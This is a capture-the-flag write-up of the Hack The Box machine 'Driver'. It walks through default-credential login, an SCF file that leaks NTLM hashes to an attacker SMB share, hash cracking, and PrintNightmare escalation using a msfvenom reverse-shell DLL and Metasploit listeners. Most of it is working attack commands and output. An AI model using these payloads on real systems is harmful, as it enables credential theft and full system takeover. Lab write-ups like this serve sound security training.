



HTB **Driver**

Write-up

Author: indigo-sadland



< Enumeration

Nmap, I choose you!

```
nmap -sV -sC -Pn 10.10.11.106
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-auth:
|_ HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup:
WORKGROUP)
5985/tcp   open  wsman
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
|_ smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_ smb-security-mode:
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|_ 2.02:
|_ Message signing enabled but not required
|_ smb2-time:
|_ date: 2022-02-10T03:05:08
|_ start_date: 2022-02-09T19:55:50
```

From the nmap scan we see that there is some MFP Firmware Update Center and it's protected with basic authentication mechanism.

🌐 10.10.11.106

This site is asking you to sign in.

Username

Password

What combination you will try at first? I'm going to use *admin:admin*.



And it's correct! So, here we see some custom service that conducts test on printers' firmware and drivers. Looking around the site we see that we can upload firmware updates!

A screenshot of the 'MFP Firmware Update Center' website, specifically the upload page. The browser's address bar shows '10.10.11.106/fw_up.php'. The page features a navigation menu with 'Home', 'About', 'Firmware Updates', 'Drivers Updates', and 'Contact'. A paragraph of text reads: 'Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.' Below this text, there is a form with two main sections. The first section is labeled 'Printer Model:' and contains a dropdown menu currently showing 'HTB DesignJet'. The second section is labeled 'Upload Firmware:' and contains a 'Browse...' button followed by the text 'No file selected.' At the bottom of the form is a 'Submit' button.

But do not rush to upload reverse shell. Let's carefully read the presented on the page text.

```
Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.
```

It means that uploaded files are get accessed by some users from testing team! I tried to upload random file and I found out that there is **no extension restrictions** which allows us upload everything we want. Considering this and that there is SMB service running on the machine, we can conduct **stealing of NTLM-hash**. Did you know that there are **twenty ways** to steal NTLM hash? The way with **.scf (shell command file)** suites us very well!

< Exploitation

So, the idea behind this vector of attack is that we create payload that should look like this:

```
[Shell]
Command=2
IconFile=\\YOUR_IP\tools\nc.ico
[Taskbar]
Command=ToggleDesktop%
ntlm theft/A_evil [master●] » cat A_evil.scf
[Shell]
Command=2
IconFile=\\10.10.14.145\tools\nc.ico
[Taskbar]
Command=ToggleDesktop%
ntlm theft/A evil [master●] » _
```

The SCF format supports a very limited set of commands for Windows Explorer, such as opening a Windows Explorer window or showing the desktop. As well as LNK, SCF files, stored on the hard drive, ask for an icon (icon file) every time it showed in Windows Explorer.

In our case it means that as soon as the testing team member accesses the upload folder with our *.scf* file that we successfully uploaded via the MFP Firmware Update Center, his Windows Explorer will try immediately to access the *IconFile* which leads to our smb server.

Before uploading the payload file we need to run SAMBA server. You can use different tools: responder, Metasploit or smbserver.py. I'm gonna stick to smbserver.py from [Impacket](#) toolkit.

```
impacket/examples [master] » sudo python3 smbserver.py evil ~/hunt/other/ntlm_theft/evil_link -smb2support
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

After that we are ready to deliver the payload!

10.10.11.106/fw_up.php?msg=SUCCESS

Home About Firmware Updates Drivers Updates Contact

MFP Firmware Update Center

Please upload the respective firmware update to our file share. Our testing team will receive it.

Printer Model: HTB DesignJet ▼

Upload Firmware: Browse... A_evil.scf

Submit

```
[*] Incoming connection (10.10.11.106,49470)
[*] AUTHENTICATE MESSAGE (DRIVER\tony.DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony.: DRIVER: aaaaaaaaaaaaaaaa:fafcf704b3def74ce07b0bfdf6d01ae0033:010100000000000000c229fad1ed801ce955bbbed97776d0000000010010006600450065005a005400420050005400
030010006600450065005a005400420050005400001000580070005200460075006c006100470004001000580070005200460075006c00610047000700080000:c229fad1ed801060004002000000000
0300030000000000000000000000000000200000083302fd4393cfdf19ce382b6998cf7bb235c214ac3394816b81a3ed65bd41100a001000000000000000000000000000000000090220063006900660073
002f0010030002e00310030002e00310034002e00310034003500000000000000000000000000000000000000
```

```
tony::DRIVER:aaaaaaaaaaaaaa:afcab70403def74ce070b4fd691a9033:01010000000000  
0000c2290fad1ed801ce955bbbed97776d00000000010010006600450065005a0054004200500  
05400030010006600450065005a00540042005000540002001000580070005200460075006c00  
6100470004001000580070005200460075006c00610047000700080000c2290fad1ed80106000  
4000200000000800300030000000000000000000000000000020000083302fd4393cfd19ce3828b699  
8cf7bb0235c214ac3394816b81a3ed65bd41100a00100000000000000000000000000000000  
00900220063006900660073002f00310030002e00310030002e00310034002e00310034003500  
000000000000000000000000
```

```
john --format=netntlmv2 drive.htb

john-1.9.0-jumbo-1/run » ./john --format=netntlmv2 drive.htb
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:./password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:02:09 3/3 0g/s 1186Kp/s 1186Kc/s 1186KC/s ancucmd..allow95
0g 0:00:02:11 3/3 0g/s 1186Kp/s 1186Kc/s 1186KC/s knell98..knb4l3z
liltony (tony)
1g 0:00:02:13 DONE 3/3 (2022-02-10 21:49) 0.007518g/s 1186Kp/s 1186Kc/s 1186KC/s lak24/...lizlam
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
john-1.9.0-jumbo-1/run »
```

```
evil-winrm -i 10.10.11.106 -u tony -p liltony
```

```
~ » evil-winrm -i 10.10.11.106 -u tony -p liltony
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> dir
```

Access gained!

```
*Evil-WinRM* PS C:\Users\tony\Desktop> dir

Directory: C:\Users\tony\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---            2/10/2022   3:32 PM             34 user.txt

*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
bcbf6e5474ca26f0deea8c7ab97740e3
```

User flag is taken!

< Post-Exploitation

After entering the machine, I ran [WinPEAS](#). Examining the output, I stumbled upon this unusual thing:

```
##### Searching hidden files or folders in C:\Users home (can be slow)

C:\Users\All Users\ntuser.pol
C:\Users\All Users\RICOH_DRV
C:\Users\Default User
C:\Users\Default
C:\Users\All Users
C:\Users\tony\AppData\Local\Packages\Windows.PurchaseDialog_cw5n1h2txyewy\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\ActivationStore\At
C:\Users\tony\AppData\Local\Packages\Windows.PurchaseDialog_cw5n1h2txyewy\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\ActivationStore\At
C:\Users\tony\AppData\Local\Packages\Windows.ContactSupport_cw5n1h2txyewy\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\Activati
C:\Users\tony\AppData\Local\Packages\Windows.ContactSupport_cw5n1h2txyewy\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\Activati
C:\Users\tony\ntuser.pol
C:\Users\All Users\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\do_not_delete_folders
```


Google told me that there is [LPE you can achieve!](#) At first, I checked if it meets the vulnerability requirements by checking ACL

```
*Evil-WinRM* PS C:\Users\All Users\RICOH_DRV\RICOH PCL6 UniversalDriver
V4.23\_common> icacls dlz\*.dll

*Evil-WinRM* PS C:\Users\All Users\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common> icacls dlz\*.dll
dlz\borderline.dll Everyone:(F)

dlz\colorbalance.dll Everyone:(F)

dlz\headerfooter.dll Everyone:(F)

dlz\jobhook.dll Everyone:(F)

dlz\outputimage.dll Everyone:(F)

dlz\overlaywatermark.dll Everyone:(F)

dlz\popup.dll Everyone:(F)

dlz\printercopyguardpreview.dll Everyone:(F)

dlz\printerpreventioncopypatternpreview.dll Everyone:(F)

dlz\secretnumberingpreview.dll Everyone:(F)

dlz\watermark.dll Everyone:(F)

dlz\watermarkpreview.dll Everyone:(F)
```

As you see everyone have Full access to every .dll file. Then I went to [msfconsole](#) to exploit the vulnerability.

```
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.145
LHOST => 10.10.14.145
msf6 exploit(multi/handler) > set LPORT 4242
LPORT => 4242
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.145:4242
[*] Sending stage (200262 bytes) to 10.10.11.106
[*] Meterpreter session 1 opened (10.10.14.145:4242 -> 10.10.11.106:49428 ) at 2022-02-11 22:30:55 +0300

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/ricoh_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ricoh_driver_privesc) > run

[*] Started reverse TCP handler on 192.168.50.145:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. Ricoh driver directory has full permissions
[*] Adding printer JAmuqYP...
```


But exploit don't want to go next after adding printer... And so, I've learned it was just a false alarm. The real vulnerability is [PrintNigtmare](#).

To exploit the vulnerability, we need:

- Create .dll payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4242 -f dll  
> bad_driver.dll
```

```
Documents/driver » msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.145 LPORT=4242 -f dll > bad_driver.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 510 bytes  
Final size of dll file: 8704 bytes
```

- Set up SMB server. I'm using the script from [Impacket](#)

```
sudo python3 smbserver.py driver ~/Documents/driver/
```

```
impacket/examples [master] » sudo python3 smbserver.py driver ~/Documents/driver/  
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation  
  
[*] Config file parsed  
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed  
[*] Config file parsed  
[*] Config file parsed
```

- Run [meterpreter](#) listener in [msfconsole](#)

```
use exploit/multi/handler  
set LHOST=YOUR_IP  
set LPORT=4242  
run
```

```
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp  
PAYLOAD => windows/x64/meterpreter/reverse_tcp  
msf6 exploit(multi/handler) > set LHOST 10.10.14.145  
LHOST => 10.10.14.145  
msf6 exploit(multi/handler) > set LPORT 4242  
LPORT => 4242  
msf6 exploit(multi/handler) > run
```

- Execute [remote exploit](#)

```
python3 printnightmare.py DRIVER/tony:liltony@10.10.11.106 -dll  
"\\\\\\10.10.14.145\\driver\\bad_driver.dll"
```

```

enumesc/PrintNightmare [main] » python3 printNightmare.py DRIVER/tony:liltony@10.10.11.106 -dll "\\\10.10.14.145\driver\bad_driver.dll"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_f66d9eed7e835e97\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\10.10.14.145\\driver\\bad_driver.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
Traceback (most recent call last):
  File "/home/indigo/.local/lib/python3.8/site-packages/impacket/smbconnection.py", line 604, in readFile
    bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead)
  File "/home/indigo/.local/lib/python3.8/site-packages/impacket/smb3.py", line 1979, in read_andx
    return self.read(tid, fid, offset, max_size, wait_answer)
  File "/home/indigo/.local/lib/python3.8/site-packages/impacket/smb3.py", line 1316, in read
    if ans.isValidAnswer(STATUS_SUCCESS):
  File "/home/indigo/.local/lib/python3.8/site-packages/impacket/smb3structs.py", line 458, in isValidAnswer
    raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_BROKEN(The pipe operation has failed because the other end of the pipe has been closed.)

```

As you could notice there is *SMB Session Error* BUT we check our listener we will see the opened connection!

```

[*] Sending stage (204800 bytes) to 10.10.11.106
[*] Meterpreter session 2 opened (10.10.14.145:4242 -> 10.10.11.106:49415 ) at 2022-02-11 23:28:21 +0300

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > cd ..
meterpreter > shell
Process 352 created.
Channel 1 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows>cd ..
cd ..

C:\>cd Users\Administrator\Desktop
cd Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is DB41-39A3

Directory of C:\Users\Administrator\Desktop

06/12/2021  03:37 AM    <DIR>          .
06/12/2021  03:37 AM    <DIR>          ..
02/11/2022  07:25 PM                34 root.txt
               1 File(s)                34 bytes
               2 Dir(s)  6,187,286,528 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
0ecf10b867ee74b9ba3b194dc10b2641

```

Root flag is taken!

